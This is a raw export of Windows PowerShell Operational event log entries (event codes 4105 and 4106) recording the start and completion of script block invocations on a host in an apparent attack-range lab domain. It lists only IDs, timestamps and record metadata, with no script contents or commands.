Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023133
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023132
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023131
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023130
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023129
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023128
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023127
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023126
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:53:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023125
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:01 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023144
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:01 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023143
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:01 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023142
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:01 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023141
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:01 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023140
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:01 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023139
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:01 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023138
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:01 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023137
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:01 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023136
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:01 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023135
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023154
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023153
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023152
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023151
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023150
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023149
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023148
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023147
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023146
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023145
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023164
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023163
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023162
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023161
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023160
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023159
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023158
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023157
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023156
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023155
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023174
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023173
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023172
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023171
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023170
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023169
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023168
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023167
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023166
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023165
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023184
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023183
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023182
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023181
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:54:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
